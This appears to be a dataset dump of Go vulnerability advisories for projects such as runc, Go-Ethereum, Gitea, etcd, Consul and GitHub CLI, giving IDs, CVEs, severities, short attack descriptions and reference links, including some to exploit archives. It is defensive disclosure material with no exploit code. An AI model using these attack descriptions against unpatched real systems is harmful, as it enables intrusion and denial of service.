| {'CVE-2021-43784'} | 2021-12-06T22:09:36Z | 2021-12-07T21:22:39Z | MODERATE | null | {'CWE-190'} | {'https://github.com/opencontainers/runc/commit/9c444070ec7bb83995dbc0185da68284da71c554', 'https://lists.debian.org/debian-lts-announce/2021/12/msg00005.html', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2241', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43784', 'https://github.com/opencontainers/runc', 'https://github.com/opencontainers/runc/commit/f50369af4b571e358f20b139eea52d612eb55eed', 'https://github.com/opencontainers/runc/commit/d72d057ba794164c3cce9451a00b72a78b25e1ae', 'https://github.com/opencontainers/runc/security/advisories/GHSA-v95c-p5hm-xq8f'} | null |
Go | GHSA-pvx3-gm3c-gmpr | Denial of Service in Go-Ethereum | A design flaw in Go-Ethereum 1.10.12 and older versions allows an attacker node to send 5120 future transactions with a high gas price in one message, which can purge all of pending transactions in a victim node's memory pool, causing a denial of service (DoS). | {'CVE-2022-23327'} | 2022-03-18T20:06:42Z | 2022-03-05T00:00:46Z | HIGH | null | null | {'https://dl.acm.org/doi/pdf/10.1145/3460120.3485369', 'https://nvd.nist.gov/vuln/detail/CVE-2022-23327', 'http://ethereum.com', 'https://github.com/ethereum/go-ethereum', 'http://go-ethereum.com', 'https://tristartom.github.io/docs/ccs21.pdf'} | null |
Go | GO-2021-0065 | null | Authorization tokens may be inappropriately logged if the verbosity
level is set to a debug level.
| {'CVE-2019-11250'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/kubernetes/kubernetes/issues/81114', 'https://github.com/kubernetes/kubernetes/commit/4441f1d9c3e94d9a3d93b4f184a591cab02a5245', 'https://github.com/kubernetes/kubernetes/pull/81330'} | null |
Go | GHSA-458f-26r3-x2c3 | Cross-site Scripting in github.com/schollz/rwtxt | Cross-site scripting vulnerability in rwtxt versions prior to v1.8.6 allows a remote attacker to inject an arbitrary script via unspecified vectors. | {'CVE-2021-20848'} | 2021-11-25T00:24:32Z | 2021-11-29T18:00:21Z | MODERATE | null | {'CWE-79'} | {'https://jvn.jp/en/jp/JVN22515597/index.html', 'https://nvd.nist.gov/vuln/detail/CVE-2021-20848', 'https://github.com/schollz/rwtxt'} | null |
Go | GHSA-mpq4-rjj8-fjph | Uncontrolled Resource Consumption in github.com/google/fscrypt | fscrypt through v0.3.2 creates a world-writable directory by default when setting up a filesystem, allowing unprivileged users to exhaust filesystem space. We recommend upgrading to fscrypt 0.3.3 or above and adjusting the permissions on existing fscrypt metadata directories where applicable. | {'CVE-2022-25326'} | 2022-03-07T13:42:34Z | 2022-02-26T00:00:44Z | MODERATE | null | {'CWE-400'} | {'https://github.com/google/fscrypt/', 'https://github.com/google/fscrypt/pull/346', 'https://nvd.nist.gov/vuln/detail/CVE-2022-25326'} | null |
Go | GHSA-q547-gmf8-8jr7 | Signature Validation Bypass in goxmldsig | ### Impact
With a carefully crafted XML file, an attacker can completely bypass signature validation and pass off an altered file as a signed one.
### Patches
A patch is available, all users of goxmldsig should upgrade to v1.1.0.
### For more information
If you have any questions or comments about this advisory open an issue at https://github.com/russellhaering/goxmldsig | {'CVE-2020-15216'} | 2021-05-24T12:54:31Z | 2021-05-24T16:57:32Z | MODERATE | null | {'CWE-347'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZECBFD4M4PHBMBOCMSQ537NOU37QOVWP/', 'https://github.com/russellhaering/goxmldsig/commit/f6188febf0c29d7ffe26a0436212b19cb9615e64', 'https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GUH33FPUXED3FHYL25BJOQPRKFGPOMS2/', 'https://pkg.go.dev/github.com/russellhaering/goxmldsig?tab=overview', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15216'} | null |
Go | GHSA-77gc-fj98-665h | Signature Validation Bypass | Go JOSE before 1.1.0 suffers from multiple signatures exploitation. The go-jose library supports messages with multiple signatures. However, when validating a signed message the API did not indicate which signature was valid, which could potentially lead to confusion. For example, users of the library might mistakenly read protected header values from an attached signature that was different from the one originally validated. | {'CVE-2016-9122'} | 2021-05-12T18:06:40Z | 2021-05-18T19:15:09Z | HIGH | null | {'CWE-284'} | {'https://github.com/square/go-jose/pull/111', 'http://www.openwall.com/lists/oss-security/2016/11/03/1', 'https://github.com/square/go-jose/commit/2c5656adca9909843c4ff50acf1d2cf8f32da7e6', 'https://nvd.nist.gov/vuln/detail/CVE-2016-9122', 'https://hackerone.com/reports/169629'} | null |
Go | GHSA-ffhg-7mh4-33c4 | Improper Verification of Cryptographic Signature in golang.org/x/crypto | golang.org/x/crypto before v0.0.0-20200220183623-bac4c82f6975 for Go allows a panic during signature verification in the golang.org/x/crypto/ssh package. A client can attack an SSH server that accepts public keys. Also, a server can attack any SSH client. | {'CVE-2020-9283'} | 2022-01-04T19:49:26Z | 2021-05-18T15:29:31Z | MODERATE | null | {'CWE-347'} | {'https://lists.debian.org/debian-lts-announce/2020/11/msg00027.html', 'http://packetstormsecurity.com/files/156480/Go-SSH-0.0.2-Denial-Of-Service.html', 'https://lists.debian.org/debian-lts-announce/2020/11/msg00031.html', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9283', 'https://groups.google.com/forum/#!topic/golang-announce/3L45YRc91SY', 'https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236', 'https://www.exploit-db.com/exploits/48121', 'https://lists.debian.org/debian-lts-announce/2020/10/msg00014.html', 'https://github.com/golang/crypto'} | null |
Go | GHSA-jh63-28gx-7p26 | Command Injection in CasaOS | CasaOS before v0.2.7 was discovered to contain a command injection vulnerability via the component leave or join zerotier api. | {'CVE-2022-24193'} | 2022-03-15T19:43:28Z | 2022-03-11T00:02:17Z | CRITICAL | null | {'CWE-78'} | {'https://github.com/IceWhaleTech/CasaOS', 'https://github.com/IceWhaleTech/CasaOS/commit/d060968b7ab08e7f8cbfe7ca9ccdfa47afe9bb06', 'https://www.star123.top/2022/01/08/A-vulnerability-in-CasaOS/#more', 'https://github.com/IceWhaleTech/CasaOS/issues/84', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24193', 'https://www.star123.top/2022/01/08/A-vulnerability-in-CasaOS/'} | null |
Go | GHSA-hf6f-jq25-8gq9 | Remote Code Execution (RCE) | Gitea before 1.5.4 allows remote code execution because it does not properly validate session IDs. This is related to session ID handling in the go-macaron/session code for Macaron. | {'CVE-2018-18926'} | 2021-05-12T18:25:03Z | 2022-02-15T01:57:18Z | CRITICAL | null | {'CWE-94'} | {'https://nvd.nist.gov/vuln/detail/CVE-2018-18926', 'https://github.com/go-gitea/gitea/pull/5177', 'https://github.com/go-gitea/gitea/commit/aeb5655c25053bdcd7eee94ea37df88468374162', 'https://github.com/go-gitea/gitea/issues/5140'} | null |
Go | GHSA-5gjm-fj42-x983 | Cross-site Request Forgery (CSRF) | A cross-site request forgery flaw was found in etcd 3.3.1 and earlier. An attacker can set up a website that tries to send a POST request to the etcd server and modify a key. Adding a key is done with PUT so it is theoretically safe (can't PUT from an HTML form or such) but POST allows creating in-order keys that an attacker can send. | {'CVE-2018-1098'} | 2021-05-12T18:17:42Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-352'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UPGYHMSKDPW5GAMI7BEP3XQRVRLLBJKS/', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1098', 'https://github.com/coreos/etcd/issues/9353', 'https://bugzilla.redhat.com/show_bug.cgi?id=1552714', 'https://github.com/coreos/etcd/commit/a7e5790c82039945639798ae9a3289fe787f5e56', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JX7QTIT465BQGRGNCE74RATRQLKT2QE4/'} | null |
Go | GO-2021-0073 | null | Arbitary command execution can be triggered by improperly
sanitized SSH URLs in LFS configuration files. This can be
triggered by cloning a malicious repoistory.
| {'CVE-2017-17831'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://confluence.atlassian.com/sourcetreekb/sourcetree-security-advisory-2018-01-24-942834324.html', 'https://github.com/git-lfs/git-lfs/commit/f913f5f9c7c6d1301785fdf9884a2942d59cdf19', 'http://blog.recurity-labs.com/2017-08-10/scm-vulns', 'https://github.com/git-lfs/git-lfs/pull/2241', 'http://www.securityfocus.com/bid/102926'} | null |
Go | GHSA-hwqm-x785-qh8p | Incorrect Permission Assignment for Critical Resource in Hashicorp Consul | HashiCorp Consul and Consul Enterprise failed to enforce changes to legacy ACL token rules due to non-propagation to secondary data centers. Introduced in 1.4.0, fixed in 1.6.6 and 1.7.4. | {'CVE-2020-12797'} | 2021-05-12T22:03:39Z | 2021-06-23T17:52:33Z | MODERATE | null | {'CWE-732'} | {'https://github.com/hashicorp/consul/blob/v1.6.6/CHANGELOG.md', 'https://github.com/hashicorp/consul/commit/98eea08d3ba1b220a14cf6eedf3b6b07ae2795d7', 'https://github.com/hashicorp/consul/issues/5606', 'https://github.com/hashicorp/consul/pull/8047', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12797', 'https://github.com/hashicorp/consul/blob/v1.7.4/CHANGELOG.md'} | null |
Go | GO-2020-0038 | null | Due to improper verification of packets, unencrypted packets containing
application data are accepted after the initial handshake. This allows
an attacker to inject arbitary data which the client/server believes
was encrypted, despite not knowing the session key.
| {'CVE-2019-20786'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://www.usenix.org/system/files/sec20fall_fiterau-brostean_prepub.pdf', 'https://github.com/pion/dtls/commit/fd73a5df2ff0e1fb6ae6a51e2777d7a16cc4f4e0', 'https://github.com/pion/dtls/pull/128'} | null |
Go | GHSA-w3wf-cfx3-6gcx | SAML authentication vulnerability due to stdlib XML parsing | ### Impact
Due to issues in Go's standard library XML parsing, a valid SAML response may be mutated by an attacker to modify the trusted document. This can result in allowing unverified logins from a SAML IdP.
Users that configure Fleet with SSO login may be vulnerable to this issue.
### Patches
This issue is patched in 3.5.1 using https://github.com/mattermost/xml-roundtrip-validator.
### Workarounds
If upgrade to 3.5.1 is not possible, users should disable SSO authentication in Fleet.
### References
See https://mattermost.com/blog/coordinated-disclosure-go-xml-vulnerabilities/ for more information about the underlying vulnerabilities.
### For more information
If you have any questions or comments about this advisory:
* Email us at [security@fleetdm.com](mailto:security@fleetdm.com)
* Join #fleet in [osquery Slack](https://join.slack.com/t/osquery/shared_invite/zt-h29zm0gk-s2DBtGUTW4CFel0f0IjTEw) | {'CVE-2020-26276'} | 2022-02-11T23:59:14Z | 2022-02-11T23:59:14Z | HIGH | null | {'CWE-290'} | {'https://github.com/fleetdm/fleet/security/advisories/GHSA-w3wf-cfx3-6gcx', 'https://github.com/fleetdm/fleet/blob/master/CHANGELOG.md#fleet-351-dec-14-2020', 'https://mattermost.com/blog/coordinated-disclosure-go-xml-vulnerabilities', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26276', 'https://github.com/mattermost/xml-roundtrip-validator', 'https://github.com/fleetdm/fleet/commit/57812a532e5f749c8e18c6f6a652eca65c083607'} | null |
Go | GHSA-fqfh-778m-2v32 | GitHub CLI can execute a git binary from the current directory | ### Impact
GitHub CLI depends on a `git.exe` executable being found in system `%PATH%` on Windows. However, if a malicious `.\git.exe` or `.\git.bat` is found in the current working directory at the time of running `gh`, the malicious command will be invoked instead of the system one.
Windows users who run `gh` inside untrusted directories are affected.
### Patches
Users should upgrade to GitHub CLI v1.2.1.
### Workarounds
Other than avoiding untrusted repositories, there is no workaround.
### References
https://github.com/golang/go/issues/38736 | null | 2021-05-21T22:06:12Z | 2022-02-11T23:41:11Z | MODERATE | null | null | {'https://github.com/cli/cli/security/advisories/GHSA-fqfh-778m-2v32'} | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.